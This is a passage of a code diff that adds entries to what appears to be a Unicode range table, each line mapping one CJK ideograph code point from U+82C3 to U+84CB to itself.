+ ["\u82C3", "\u82C3"], /* CJK Ideograph */
+ ["\u82C4", "\u82C4"], /* CJK Ideograph */
+ ["\u82C5", "\u82C5"], /* CJK Ideograph */
+ ["\u82C6", "\u82C6"], /* CJK Ideograph */
+ ["\u82C7", "\u82C7"], /* CJK Ideograph */
+ ["\u82C8", "\u82C8"], /* CJK Ideograph */
+ ["\u82C9", "\u82C9"], /* CJK Ideograph */
+ ["\u82CA", "\u82CA"], /* CJK Ideograph */
+ ["\u82CB", "\u82CB"], /* CJK Ideograph */
+ ["\u82CC", "\u82CC"], /* CJK Ideograph */
+ ["\u82CD", "\u82CD"], /* CJK Ideograph */
+ ["\u82CE", "\u82CE"], /* CJK Ideograph */
+ ["\u82CF", "\u82CF"], /* CJK Ideograph */
+ ["\u82D0", "\u82D0"], /* CJK Ideograph */
+ ["\u82D1", "\u82D1"], /* CJK Ideograph */
+ ["\u82D2", "\u82D2"], /* CJK Ideograph */
+ ["\u82D3", "\u82D3"], /* CJK Ideograph */
+ ["\u82D4", "\u82D4"], /* CJK Ideograph */
+ ["\u82D5", "\u82D5"], /* CJK Ideograph */
+ ["\u82D6", "\u82D6"], /* CJK Ideograph */
+ ["\u82D7", "\u82D7"], /* CJK Ideograph */
+ ["\u82D8", "\u82D8"], /* CJK Ideograph */
+ ["\u82D9", "\u82D9"], /* CJK Ideograph */
+ ["\u82DA", "\u82DA"], /* CJK Ideograph */
+ ["\u82DB", "\u82DB"], /* CJK Ideograph */
+ ["\u82DC", "\u82DC"], /* CJK Ideograph */
+ ["\u82DD", "\u82DD"], /* CJK Ideograph */
+ ["\u82DE", "\u82DE"], /* CJK Ideograph */
+ ["\u82DF", "\u82DF"], /* CJK Ideograph */
+ ["\u82E0", "\u82E0"], /* CJK Ideograph */
+ ["\u82E1", "\u82E1"], /* CJK Ideograph */
+ ["\u82E2", "\u82E2"], /* CJK Ideograph */
+ ["\u82E3", "\u82E3"], /* CJK Ideograph */
+ ["\u82E4", "\u82E4"], /* CJK Ideograph */
+ ["\u82E5", "\u82E5"], /* CJK Ideograph */
+ ["\u82E6", "\u82E6"], /* CJK Ideograph */
+ ["\u82E7", "\u82E7"], /* CJK Ideograph */
+ ["\u82E8", "\u82E8"], /* CJK Ideograph */
+ ["\u82E9", "\u82E9"], /* CJK Ideograph */
+ ["\u82EA", "\u82EA"], /* CJK Ideograph */
+ ["\u82EB", "\u82EB"], /* CJK Ideograph */
+ ["\u82EC", "\u82EC"], /* CJK Ideograph */
+ ["\u82ED", "\u82ED"], /* CJK Ideograph */
+ ["\u82EE", "\u82EE"], /* CJK Ideograph */
+ ["\u82EF", "\u82EF"], /* CJK Ideograph */
+ ["\u82F0", "\u82F0"], /* CJK Ideograph */
+ ["\u82F1", "\u82F1"], /* CJK Ideograph */
+ ["\u82F2", "\u82F2"], /* CJK Ideograph */
+ ["\u82F3", "\u82F3"], /* CJK Ideograph */
+ ["\u82F4", "\u82F4"], /* CJK Ideograph */
+ ["\u82F5", "\u82F5"], /* CJK Ideograph */
+ ["\u82F6", "\u82F6"], /* CJK Ideograph */
+ ["\u82F7", "\u82F7"], /* CJK Ideograph */
+ ["\u82F8", "\u82F8"], /* CJK Ideograph */
+ ["\u82F9", "\u82F9"], /* CJK Ideograph */
+ ["\u82FA", "\u82FA"], /* CJK Ideograph */
+ ["\u82FB", "\u82FB"], /* CJK Ideograph */
+ ["\u82FC", "\u82FC"], /* CJK Ideograph */
+ ["\u82FD", "\u82FD"], /* CJK Ideograph */
+ ["\u82FE", "\u82FE"], /* CJK Ideograph */
+ ["\u82FF", "\u82FF"], /* CJK Ideograph */
+ ["\u8300", "\u8300"], /* CJK Ideograph */
+ ["\u8301", "\u8301"], /* CJK Ideograph */
+ ["\u8302", "\u8302"], /* CJK Ideograph */
+ ["\u8303", "\u8303"], /* CJK Ideograph */
+ ["\u8304", "\u8304"], /* CJK Ideograph */
+ ["\u8305", "\u8305"], /* CJK Ideograph */
+ ["\u8306", "\u8306"], /* CJK Ideograph */
+ ["\u8307", "\u8307"], /* CJK Ideograph */
+ ["\u8308", "\u8308"], /* CJK Ideograph */
+ ["\u8309", "\u8309"], /* CJK Ideograph */
+ ["\u830A", "\u830A"], /* CJK Ideograph */
+ ["\u830B", "\u830B"], /* CJK Ideograph */
+ ["\u830C", "\u830C"], /* CJK Ideograph */
+ ["\u830D", "\u830D"], /* CJK Ideograph */
+ ["\u830E", "\u830E"], /* CJK Ideograph */
+ ["\u830F", "\u830F"], /* CJK Ideograph */
+ ["\u8310", "\u8310"], /* CJK Ideograph */
+ ["\u8311", "\u8311"], /* CJK Ideograph */
+ ["\u8312", "\u8312"], /* CJK Ideograph */
+ ["\u8313", "\u8313"], /* CJK Ideograph */
+ ["\u8314", "\u8314"], /* CJK Ideograph */
+ ["\u8315", "\u8315"], /* CJK Ideograph */
+ ["\u8316", "\u8316"], /* CJK Ideograph */
+ ["\u8317", "\u8317"], /* CJK Ideograph */
+ ["\u8318", "\u8318"], /* CJK Ideograph */
+ ["\u8319", "\u8319"], /* CJK Ideograph */
+ ["\u831A", "\u831A"], /* CJK Ideograph */
+ ["\u831B", "\u831B"], /* CJK Ideograph */
+ ["\u831C", "\u831C"], /* CJK Ideograph */
+ ["\u831D", "\u831D"], /* CJK Ideograph */
+ ["\u831E", "\u831E"], /* CJK Ideograph */
+ ["\u831F", "\u831F"], /* CJK Ideograph */
+ ["\u8320", "\u8320"], /* CJK Ideograph */
+ ["\u8321", "\u8321"], /* CJK Ideograph */
+ ["\u8322", "\u8322"], /* CJK Ideograph */
+ ["\u8323", "\u8323"], /* CJK Ideograph */
+ ["\u8324", "\u8324"], /* CJK Ideograph */
+ ["\u8325", "\u8325"], /* CJK Ideograph */
+ ["\u8326", "\u8326"], /* CJK Ideograph */
+ ["\u8327", "\u8327"], /* CJK Ideograph */
+ ["\u8328", "\u8328"], /* CJK Ideograph */
+ ["\u8329", "\u8329"], /* CJK Ideograph */
+ ["\u832A", "\u832A"], /* CJK Ideograph */
+ ["\u832B", "\u832B"], /* CJK Ideograph */
+ ["\u832C", "\u832C"], /* CJK Ideograph */
+ ["\u832D", "\u832D"], /* CJK Ideograph */
+ ["\u832E", "\u832E"], /* CJK Ideograph */
+ ["\u832F", "\u832F"], /* CJK Ideograph */
+ ["\u8330", "\u8330"], /* CJK Ideograph */
+ ["\u8331", "\u8331"], /* CJK Ideograph */
+ ["\u8332", "\u8332"], /* CJK Ideograph */
+ ["\u8333", "\u8333"], /* CJK Ideograph */
+ ["\u8334", "\u8334"], /* CJK Ideograph */
+ ["\u8335", "\u8335"], /* CJK Ideograph */
+ ["\u8336", "\u8336"], /* CJK Ideograph */
+ ["\u8337", "\u8337"], /* CJK Ideograph */
+ ["\u8338", "\u8338"], /* CJK Ideograph */
+ ["\u8339", "\u8339"], /* CJK Ideograph */
+ ["\u833A", "\u833A"], /* CJK Ideograph */
+ ["\u833B", "\u833B"], /* CJK Ideograph */
+ ["\u833C", "\u833C"], /* CJK Ideograph */
+ ["\u833D", "\u833D"], /* CJK Ideograph */
+ ["\u833E", "\u833E"], /* CJK Ideograph */
+ ["\u833F", "\u833F"], /* CJK Ideograph */
+ ["\u8340", "\u8340"], /* CJK Ideograph */
+ ["\u8341", "\u8341"], /* CJK Ideograph */
+ ["\u8342", "\u8342"], /* CJK Ideograph */
+ ["\u8343", "\u8343"], /* CJK Ideograph */
+ ["\u8344", "\u8344"], /* CJK Ideograph */
+ ["\u8345", "\u8345"], /* CJK Ideograph */
+ ["\u8346", "\u8346"], /* CJK Ideograph */
+ ["\u8347", "\u8347"], /* CJK Ideograph */
+ ["\u8348", "\u8348"], /* CJK Ideograph */
+ ["\u8349", "\u8349"], /* CJK Ideograph */
+ ["\u834A", "\u834A"], /* CJK Ideograph */
+ ["\u834B", "\u834B"], /* CJK Ideograph */
+ ["\u834C", "\u834C"], /* CJK Ideograph */
+ ["\u834D", "\u834D"], /* CJK Ideograph */
+ ["\u834E", "\u834E"], /* CJK Ideograph */
+ ["\u834F", "\u834F"], /* CJK Ideograph */
+ ["\u8350", "\u8350"], /* CJK Ideograph */
+ ["\u8351", "\u8351"], /* CJK Ideograph */
+ ["\u8352", "\u8352"], /* CJK Ideograph */
+ ["\u8353", "\u8353"], /* CJK Ideograph */
+ ["\u8354", "\u8354"], /* CJK Ideograph */
+ ["\u8355", "\u8355"], /* CJK Ideograph */
+ ["\u8356", "\u8356"], /* CJK Ideograph */
+ ["\u8357", "\u8357"], /* CJK Ideograph */
+ ["\u8358", "\u8358"], /* CJK Ideograph */
+ ["\u8359", "\u8359"], /* CJK Ideograph */
+ ["\u835A", "\u835A"], /* CJK Ideograph */
+ ["\u835B", "\u835B"], /* CJK Ideograph */
+ ["\u835C", "\u835C"], /* CJK Ideograph */
+ ["\u835D", "\u835D"], /* CJK Ideograph */
+ ["\u835E", "\u835E"], /* CJK Ideograph */
+ ["\u835F", "\u835F"], /* CJK Ideograph */
+ ["\u8360", "\u8360"], /* CJK Ideograph */
+ ["\u8361", "\u8361"], /* CJK Ideograph */
+ ["\u8362", "\u8362"], /* CJK Ideograph */
+ ["\u8363", "\u8363"], /* CJK Ideograph */
+ ["\u8364", "\u8364"], /* CJK Ideograph */
+ ["\u8365", "\u8365"], /* CJK Ideograph */
+ ["\u8366", "\u8366"], /* CJK Ideograph */
+ ["\u8367", "\u8367"], /* CJK Ideograph */
+ ["\u8368", "\u8368"], /* CJK Ideograph */
+ ["\u8369", "\u8369"], /* CJK Ideograph */
+ ["\u836A", "\u836A"], /* CJK Ideograph */
+ ["\u836B", "\u836B"], /* CJK Ideograph */
+ ["\u836C", "\u836C"], /* CJK Ideograph */
+ ["\u836D", "\u836D"], /* CJK Ideograph */
+ ["\u836E", "\u836E"], /* CJK Ideograph */
+ ["\u836F", "\u836F"], /* CJK Ideograph */
+ ["\u8370", "\u8370"], /* CJK Ideograph */
+ ["\u8371", "\u8371"], /* CJK Ideograph */
+ ["\u8372", "\u8372"], /* CJK Ideograph */
+ ["\u8373", "\u8373"], /* CJK Ideograph */
+ ["\u8374", "\u8374"], /* CJK Ideograph */
+ ["\u8375", "\u8375"], /* CJK Ideograph */
+ ["\u8376", "\u8376"], /* CJK Ideograph */
+ ["\u8377", "\u8377"], /* CJK Ideograph */
+ ["\u8378", "\u8378"], /* CJK Ideograph */
+ ["\u8379", "\u8379"], /* CJK Ideograph */
+ ["\u837A", "\u837A"], /* CJK Ideograph */
+ ["\u837B", "\u837B"], /* CJK Ideograph */
+ ["\u837C", "\u837C"], /* CJK Ideograph */
+ ["\u837D", "\u837D"], /* CJK Ideograph */
+ ["\u837E", "\u837E"], /* CJK Ideograph */
+ ["\u837F", "\u837F"], /* CJK Ideograph */
+ ["\u8380", "\u8380"], /* CJK Ideograph */
+ ["\u8381", "\u8381"], /* CJK Ideograph */
+ ["\u8382", "\u8382"], /* CJK Ideograph */
+ ["\u8383", "\u8383"], /* CJK Ideograph */
+ ["\u8384", "\u8384"], /* CJK Ideograph */
+ ["\u8385", "\u8385"], /* CJK Ideograph */
+ ["\u8386", "\u8386"], /* CJK Ideograph */
+ ["\u8387", "\u8387"], /* CJK Ideograph */
+ ["\u8388", "\u8388"], /* CJK Ideograph */
+ ["\u8389", "\u8389"], /* CJK Ideograph */
+ ["\u838A", "\u838A"], /* CJK Ideograph */
+ ["\u838B", "\u838B"], /* CJK Ideograph */
+ ["\u838C", "\u838C"], /* CJK Ideograph */
+ ["\u838D", "\u838D"], /* CJK Ideograph */
+ ["\u838E", "\u838E"], /* CJK Ideograph */
+ ["\u838F", "\u838F"], /* CJK Ideograph */
+ ["\u8390", "\u8390"], /* CJK Ideograph */
+ ["\u8391", "\u8391"], /* CJK Ideograph */
+ ["\u8392", "\u8392"], /* CJK Ideograph */
+ ["\u8393", "\u8393"], /* CJK Ideograph */
+ ["\u8394", "\u8394"], /* CJK Ideograph */
+ ["\u8395", "\u8395"], /* CJK Ideograph */
+ ["\u8396", "\u8396"], /* CJK Ideograph */
+ ["\u8397", "\u8397"], /* CJK Ideograph */
+ ["\u8398", "\u8398"], /* CJK Ideograph */
+ ["\u8399", "\u8399"], /* CJK Ideograph */
+ ["\u839A", "\u839A"], /* CJK Ideograph */
+ ["\u839B", "\u839B"], /* CJK Ideograph */
+ ["\u839C", "\u839C"], /* CJK Ideograph */
+ ["\u839D", "\u839D"], /* CJK Ideograph */
+ ["\u839E", "\u839E"], /* CJK Ideograph */
+ ["\u839F", "\u839F"], /* CJK Ideograph */
+ ["\u83A0", "\u83A0"], /* CJK Ideograph */
+ ["\u83A1", "\u83A1"], /* CJK Ideograph */
+ ["\u83A2", "\u83A2"], /* CJK Ideograph */
+ ["\u83A3", "\u83A3"], /* CJK Ideograph */
+ ["\u83A4", "\u83A4"], /* CJK Ideograph */
+ ["\u83A5", "\u83A5"], /* CJK Ideograph */
+ ["\u83A6", "\u83A6"], /* CJK Ideograph */
+ ["\u83A7", "\u83A7"], /* CJK Ideograph */
+ ["\u83A8", "\u83A8"], /* CJK Ideograph */
+ ["\u83A9", "\u83A9"], /* CJK Ideograph */
+ ["\u83AA", "\u83AA"], /* CJK Ideograph */
+ ["\u83AB", "\u83AB"], /* CJK Ideograph */
+ ["\u83AC", "\u83AC"], /* CJK Ideograph */
+ ["\u83AD", "\u83AD"], /* CJK Ideograph */
+ ["\u83AE", "\u83AE"], /* CJK Ideograph */
+ ["\u83AF", "\u83AF"], /* CJK Ideograph */
+ ["\u83B0", "\u83B0"], /* CJK Ideograph */
+ ["\u83B1", "\u83B1"], /* CJK Ideograph */
+ ["\u83B2", "\u83B2"], /* CJK Ideograph */
+ ["\u83B3", "\u83B3"], /* CJK Ideograph */
+ ["\u83B4", "\u83B4"], /* CJK Ideograph */
+ ["\u83B5", "\u83B5"], /* CJK Ideograph */
+ ["\u83B6", "\u83B6"], /* CJK Ideograph */
+ ["\u83B7", "\u83B7"], /* CJK Ideograph */
+ ["\u83B8", "\u83B8"], /* CJK Ideograph */
+ ["\u83B9", "\u83B9"], /* CJK Ideograph */
+ ["\u83BA", "\u83BA"], /* CJK Ideograph */
+ ["\u83BB", "\u83BB"], /* CJK Ideograph */
+ ["\u83BC", "\u83BC"], /* CJK Ideograph */
+ ["\u83BD", "\u83BD"], /* CJK Ideograph */
+ ["\u83BE", "\u83BE"], /* CJK Ideograph */
+ ["\u83BF", "\u83BF"], /* CJK Ideograph */
+ ["\u83C0", "\u83C0"], /* CJK Ideograph */
+ ["\u83C1", "\u83C1"], /* CJK Ideograph */
+ ["\u83C2", "\u83C2"], /* CJK Ideograph */
+ ["\u83C3", "\u83C3"], /* CJK Ideograph */
+ ["\u83C4", "\u83C4"], /* CJK Ideograph */
+ ["\u83C5", "\u83C5"], /* CJK Ideograph */
+ ["\u83C6", "\u83C6"], /* CJK Ideograph */
+ ["\u83C7", "\u83C7"], /* CJK Ideograph */
+ ["\u83C8", "\u83C8"], /* CJK Ideograph */
+ ["\u83C9", "\u83C9"], /* CJK Ideograph */
+ ["\u83CA", "\u83CA"], /* CJK Ideograph */
+ ["\u83CB", "\u83CB"], /* CJK Ideograph */
+ ["\u83CC", "\u83CC"], /* CJK Ideograph */
+ ["\u83CD", "\u83CD"], /* CJK Ideograph */
+ ["\u83CE", "\u83CE"], /* CJK Ideograph */
+ ["\u83CF", "\u83CF"], /* CJK Ideograph */
+ ["\u83D0", "\u83D0"], /* CJK Ideograph */
+ ["\u83D1", "\u83D1"], /* CJK Ideograph */
+ ["\u83D2", "\u83D2"], /* CJK Ideograph */
+ ["\u83D3", "\u83D3"], /* CJK Ideograph */
+ ["\u83D4", "\u83D4"], /* CJK Ideograph */
+ ["\u83D5", "\u83D5"], /* CJK Ideograph */
+ ["\u83D6", "\u83D6"], /* CJK Ideograph */
+ ["\u83D7", "\u83D7"], /* CJK Ideograph */
+ ["\u83D8", "\u83D8"], /* CJK Ideograph */
+ ["\u83D9", "\u83D9"], /* CJK Ideograph */
+ ["\u83DA", "\u83DA"], /* CJK Ideograph */
+ ["\u83DB", "\u83DB"], /* CJK Ideograph */
+ ["\u83DC", "\u83DC"], /* CJK Ideograph */
+ ["\u83DD", "\u83DD"], /* CJK Ideograph */
+ ["\u83DE", "\u83DE"], /* CJK Ideograph */
+ ["\u83DF", "\u83DF"], /* CJK Ideograph */
+ ["\u83E0", "\u83E0"], /* CJK Ideograph */
+ ["\u83E1", "\u83E1"], /* CJK Ideograph */
+ ["\u83E2", "\u83E2"], /* CJK Ideograph */
+ ["\u83E3", "\u83E3"], /* CJK Ideograph */
+ ["\u83E4", "\u83E4"], /* CJK Ideograph */
+ ["\u83E5", "\u83E5"], /* CJK Ideograph */
+ ["\u83E6", "\u83E6"], /* CJK Ideograph */
+ ["\u83E7", "\u83E7"], /* CJK Ideograph */
+ ["\u83E8", "\u83E8"], /* CJK Ideograph */
+ ["\u83E9", "\u83E9"], /* CJK Ideograph */
+ ["\u83EA", "\u83EA"], /* CJK Ideograph */
+ ["\u83EB", "\u83EB"], /* CJK Ideograph */
+ ["\u83EC", "\u83EC"], /* CJK Ideograph */
+ ["\u83ED", "\u83ED"], /* CJK Ideograph */
+ ["\u83EE", "\u83EE"], /* CJK Ideograph */
+ ["\u83EF", "\u83EF"], /* CJK Ideograph */
+ ["\u83F0", "\u83F0"], /* CJK Ideograph */
+ ["\u83F1", "\u83F1"], /* CJK Ideograph */
+ ["\u83F2", "\u83F2"], /* CJK Ideograph */
+ ["\u83F3", "\u83F3"], /* CJK Ideograph */
+ ["\u83F4", "\u83F4"], /* CJK Ideograph */
+ ["\u83F5", "\u83F5"], /* CJK Ideograph */
+ ["\u83F6", "\u83F6"], /* CJK Ideograph */
+ ["\u83F7", "\u83F7"], /* CJK Ideograph */
+ ["\u83F8", "\u83F8"], /* CJK Ideograph */
+ ["\u83F9", "\u83F9"], /* CJK Ideograph */
+ ["\u83FA", "\u83FA"], /* CJK Ideograph */
+ ["\u83FB", "\u83FB"], /* CJK Ideograph */
+ ["\u83FC", "\u83FC"], /* CJK Ideograph */
+ ["\u83FD", "\u83FD"], /* CJK Ideograph */
+ ["\u83FE", "\u83FE"], /* CJK Ideograph */
+ ["\u83FF", "\u83FF"], /* CJK Ideograph */
+ ["\u8400", "\u8400"], /* CJK Ideograph */
+ ["\u8401", "\u8401"], /* CJK Ideograph */
+ ["\u8402", "\u8402"], /* CJK Ideograph */
+ ["\u8403", "\u8403"], /* CJK Ideograph */
+ ["\u8404", "\u8404"], /* CJK Ideograph */
+ ["\u8405", "\u8405"], /* CJK Ideograph */
+ ["\u8406", "\u8406"], /* CJK Ideograph */
+ ["\u8407", "\u8407"], /* CJK Ideograph */
+ ["\u8408", "\u8408"], /* CJK Ideograph */
+ ["\u8409", "\u8409"], /* CJK Ideograph */
+ ["\u840A", "\u840A"], /* CJK Ideograph */
+ ["\u840B", "\u840B"], /* CJK Ideograph */
+ ["\u840C", "\u840C"], /* CJK Ideograph */
+ ["\u840D", "\u840D"], /* CJK Ideograph */
+ ["\u840E", "\u840E"], /* CJK Ideograph */
+ ["\u840F", "\u840F"], /* CJK Ideograph */
+ ["\u8410", "\u8410"], /* CJK Ideograph */
+ ["\u8411", "\u8411"], /* CJK Ideograph */
+ ["\u8412", "\u8412"], /* CJK Ideograph */
+ ["\u8413", "\u8413"], /* CJK Ideograph */
+ ["\u8414", "\u8414"], /* CJK Ideograph */
+ ["\u8415", "\u8415"], /* CJK Ideograph */
+ ["\u8416", "\u8416"], /* CJK Ideograph */
+ ["\u8417", "\u8417"], /* CJK Ideograph */
+ ["\u8418", "\u8418"], /* CJK Ideograph */
+ ["\u8419", "\u8419"], /* CJK Ideograph */
+ ["\u841A", "\u841A"], /* CJK Ideograph */
+ ["\u841B", "\u841B"], /* CJK Ideograph */
+ ["\u841C", "\u841C"], /* CJK Ideograph */
+ ["\u841D", "\u841D"], /* CJK Ideograph */
+ ["\u841E", "\u841E"], /* CJK Ideograph */
+ ["\u841F", "\u841F"], /* CJK Ideograph */
+ ["\u8420", "\u8420"], /* CJK Ideograph */
+ ["\u8421", "\u8421"], /* CJK Ideograph */
+ ["\u8422", "\u8422"], /* CJK Ideograph */
+ ["\u8423", "\u8423"], /* CJK Ideograph */
+ ["\u8424", "\u8424"], /* CJK Ideograph */
+ ["\u8425", "\u8425"], /* CJK Ideograph */
+ ["\u8426", "\u8426"], /* CJK Ideograph */
+ ["\u8427", "\u8427"], /* CJK Ideograph */
+ ["\u8428", "\u8428"], /* CJK Ideograph */
+ ["\u8429", "\u8429"], /* CJK Ideograph */
+ ["\u842A", "\u842A"], /* CJK Ideograph */
+ ["\u842B", "\u842B"], /* CJK Ideograph */
+ ["\u842C", "\u842C"], /* CJK Ideograph */
+ ["\u842D", "\u842D"], /* CJK Ideograph */
+ ["\u842E", "\u842E"], /* CJK Ideograph */
+ ["\u842F", "\u842F"], /* CJK Ideograph */
+ ["\u8430", "\u8430"], /* CJK Ideograph */
+ ["\u8431", "\u8431"], /* CJK Ideograph */
+ ["\u8432", "\u8432"], /* CJK Ideograph */
+ ["\u8433", "\u8433"], /* CJK Ideograph */
+ ["\u8434", "\u8434"], /* CJK Ideograph */
+ ["\u8435", "\u8435"], /* CJK Ideograph */
+ ["\u8436", "\u8436"], /* CJK Ideograph */
+ ["\u8437", "\u8437"], /* CJK Ideograph */
+ ["\u8438", "\u8438"], /* CJK Ideograph */
+ ["\u8439", "\u8439"], /* CJK Ideograph */
+ ["\u843A", "\u843A"], /* CJK Ideograph */
+ ["\u843B", "\u843B"], /* CJK Ideograph */
+ ["\u843C", "\u843C"], /* CJK Ideograph */
+ ["\u843D", "\u843D"], /* CJK Ideograph */
+ ["\u843E", "\u843E"], /* CJK Ideograph */
+ ["\u843F", "\u843F"], /* CJK Ideograph */
+ ["\u8440", "\u8440"], /* CJK Ideograph */
+ ["\u8441", "\u8441"], /* CJK Ideograph */
+ ["\u8442", "\u8442"], /* CJK Ideograph */
+ ["\u8443", "\u8443"], /* CJK Ideograph */
+ ["\u8444", "\u8444"], /* CJK Ideograph */
+ ["\u8445", "\u8445"], /* CJK Ideograph */
+ ["\u8446", "\u8446"], /* CJK Ideograph */
+ ["\u8447", "\u8447"], /* CJK Ideograph */
+ ["\u8448", "\u8448"], /* CJK Ideograph */
+ ["\u8449", "\u8449"], /* CJK Ideograph */
+ ["\u844A", "\u844A"], /* CJK Ideograph */
+ ["\u844B", "\u844B"], /* CJK Ideograph */
+ ["\u844C", "\u844C"], /* CJK Ideograph */
+ ["\u844D", "\u844D"], /* CJK Ideograph */
+ ["\u844E", "\u844E"], /* CJK Ideograph */
+ ["\u844F", "\u844F"], /* CJK Ideograph */
+ ["\u8450", "\u8450"], /* CJK Ideograph */
+ ["\u8451", "\u8451"], /* CJK Ideograph */
+ ["\u8452", "\u8452"], /* CJK Ideograph */
+ ["\u8453", "\u8453"], /* CJK Ideograph */
+ ["\u8454", "\u8454"], /* CJK Ideograph */
+ ["\u8455", "\u8455"], /* CJK Ideograph */
+ ["\u8456", "\u8456"], /* CJK Ideograph */
+ ["\u8457", "\u8457"], /* CJK Ideograph */
+ ["\u8458", "\u8458"], /* CJK Ideograph */
+ ["\u8459", "\u8459"], /* CJK Ideograph */
+ ["\u845A", "\u845A"], /* CJK Ideograph */
+ ["\u845B", "\u845B"], /* CJK Ideograph */
+ ["\u845C", "\u845C"], /* CJK Ideograph */
+ ["\u845D", "\u845D"], /* CJK Ideograph */
+ ["\u845E", "\u845E"], /* CJK Ideograph */
+ ["\u845F", "\u845F"], /* CJK Ideograph */
+ ["\u8460", "\u8460"], /* CJK Ideograph */
+ ["\u8461", "\u8461"], /* CJK Ideograph */
+ ["\u8462", "\u8462"], /* CJK Ideograph */
+ ["\u8463", "\u8463"], /* CJK Ideograph */
+ ["\u8464", "\u8464"], /* CJK Ideograph */
+ ["\u8465", "\u8465"], /* CJK Ideograph */
+ ["\u8466", "\u8466"], /* CJK Ideograph */
+ ["\u8467", "\u8467"], /* CJK Ideograph */
+ ["\u8468", "\u8468"], /* CJK Ideograph */
+ ["\u8469", "\u8469"], /* CJK Ideograph */
+ ["\u846A", "\u846A"], /* CJK Ideograph */
+ ["\u846B", "\u846B"], /* CJK Ideograph */
+ ["\u846C", "\u846C"], /* CJK Ideograph */
+ ["\u846D", "\u846D"], /* CJK Ideograph */
+ ["\u846E", "\u846E"], /* CJK Ideograph */
+ ["\u846F", "\u846F"], /* CJK Ideograph */
+ ["\u8470", "\u8470"], /* CJK Ideograph */
+ ["\u8471", "\u8471"], /* CJK Ideograph */
+ ["\u8472", "\u8472"], /* CJK Ideograph */
+ ["\u8473", "\u8473"], /* CJK Ideograph */
+ ["\u8474", "\u8474"], /* CJK Ideograph */
+ ["\u8475", "\u8475"], /* CJK Ideograph */
+ ["\u8476", "\u8476"], /* CJK Ideograph */
+ ["\u8477", "\u8477"], /* CJK Ideograph */
+ ["\u8478", "\u8478"], /* CJK Ideograph */
+ ["\u8479", "\u8479"], /* CJK Ideograph */
+ ["\u847A", "\u847A"], /* CJK Ideograph */
+ ["\u847B", "\u847B"], /* CJK Ideograph */
+ ["\u847C", "\u847C"], /* CJK Ideograph */
+ ["\u847D", "\u847D"], /* CJK Ideograph */
+ ["\u847E", "\u847E"], /* CJK Ideograph */
+ ["\u847F", "\u847F"], /* CJK Ideograph */
+ ["\u8480", "\u8480"], /* CJK Ideograph */
+ ["\u8481", "\u8481"], /* CJK Ideograph */
+ ["\u8482", "\u8482"], /* CJK Ideograph */
+ ["\u8483", "\u8483"], /* CJK Ideograph */
+ ["\u8484", "\u8484"], /* CJK Ideograph */
+ ["\u8485", "\u8485"], /* CJK Ideograph */
+ ["\u8486", "\u8486"], /* CJK Ideograph */
+ ["\u8487", "\u8487"], /* CJK Ideograph */
+ ["\u8488", "\u8488"], /* CJK Ideograph */
+ ["\u8489", "\u8489"], /* CJK Ideograph */
+ ["\u848A", "\u848A"], /* CJK Ideograph */
+ ["\u848B", "\u848B"], /* CJK Ideograph */
+ ["\u848C", "\u848C"], /* CJK Ideograph */
+ ["\u848D", "\u848D"], /* CJK Ideograph */
+ ["\u848E", "\u848E"], /* CJK Ideograph */
+ ["\u848F", "\u848F"], /* CJK Ideograph */
+ ["\u8490", "\u8490"], /* CJK Ideograph */
+ ["\u8491", "\u8491"], /* CJK Ideograph */
+ ["\u8492", "\u8492"], /* CJK Ideograph */
+ ["\u8493", "\u8493"], /* CJK Ideograph */
+ ["\u8494", "\u8494"], /* CJK Ideograph */
+ ["\u8495", "\u8495"], /* CJK Ideograph */
+ ["\u8496", "\u8496"], /* CJK Ideograph */
+ ["\u8497", "\u8497"], /* CJK Ideograph */
+ ["\u8498", "\u8498"], /* CJK Ideograph */
+ ["\u8499", "\u8499"], /* CJK Ideograph */
+ ["\u849A", "\u849A"], /* CJK Ideograph */
+ ["\u849B", "\u849B"], /* CJK Ideograph */
+ ["\u849C", "\u849C"], /* CJK Ideograph */
+ ["\u849D", "\u849D"], /* CJK Ideograph */
+ ["\u849E", "\u849E"], /* CJK Ideograph */
+ ["\u849F", "\u849F"], /* CJK Ideograph */
+ ["\u84A0", "\u84A0"], /* CJK Ideograph */
+ ["\u84A1", "\u84A1"], /* CJK Ideograph */
+ ["\u84A2", "\u84A2"], /* CJK Ideograph */
+ ["\u84A3", "\u84A3"], /* CJK Ideograph */
+ ["\u84A4", "\u84A4"], /* CJK Ideograph */
+ ["\u84A5", "\u84A5"], /* CJK Ideograph */
+ ["\u84A6", "\u84A6"], /* CJK Ideograph */
+ ["\u84A7", "\u84A7"], /* CJK Ideograph */
+ ["\u84A8", "\u84A8"], /* CJK Ideograph */
+ ["\u84A9", "\u84A9"], /* CJK Ideograph */
+ ["\u84AA", "\u84AA"], /* CJK Ideograph */
+ ["\u84AB", "\u84AB"], /* CJK Ideograph */
+ ["\u84AC", "\u84AC"], /* CJK Ideograph */
+ ["\u84AD", "\u84AD"], /* CJK Ideograph */
+ ["\u84AE", "\u84AE"], /* CJK Ideograph */
+ ["\u84AF", "\u84AF"], /* CJK Ideograph */
+ ["\u84B0", "\u84B0"], /* CJK Ideograph */
+ ["\u84B1", "\u84B1"], /* CJK Ideograph */
+ ["\u84B2", "\u84B2"], /* CJK Ideograph */
+ ["\u84B3", "\u84B3"], /* CJK Ideograph */
+ ["\u84B4", "\u84B4"], /* CJK Ideograph */
+ ["\u84B5", "\u84B5"], /* CJK Ideograph */
+ ["\u84B6", "\u84B6"], /* CJK Ideograph */
+ ["\u84B7", "\u84B7"], /* CJK Ideograph */
+ ["\u84B8", "\u84B8"], /* CJK Ideograph */
+ ["\u84B9", "\u84B9"], /* CJK Ideograph */
+ ["\u84BA", "\u84BA"], /* CJK Ideograph */
+ ["\u84BB", "\u84BB"], /* CJK Ideograph */
+ ["\u84BC", "\u84BC"], /* CJK Ideograph */
+ ["\u84BD", "\u84BD"], /* CJK Ideograph */
+ ["\u84BE", "\u84BE"], /* CJK Ideograph */
+ ["\u84BF", "\u84BF"], /* CJK Ideograph */
+ ["\u84C0", "\u84C0"], /* CJK Ideograph */
+ ["\u84C1", "\u84C1"], /* CJK Ideograph */
+ ["\u84C2", "\u84C2"], /* CJK Ideograph */
+ ["\u84C3", "\u84C3"], /* CJK Ideograph */
+ ["\u84C4", "\u84C4"], /* CJK Ideograph */
+ ["\u84C5", "\u84C5"], /* CJK Ideograph */
+ ["\u84C6", "\u84C6"], /* CJK Ideograph */
+ ["\u84C7", "\u84C7"], /* CJK Ideograph */
+ ["\u84C8", "\u84C8"], /* CJK Ideograph */
+ ["\u84C9", "\u84C9"], /* CJK Ideograph */
+ ["\u84CA", "\u84CA"], /* CJK Ideograph */
+ ["\u84CB", "\u84CB"], /* CJK Ideograph */
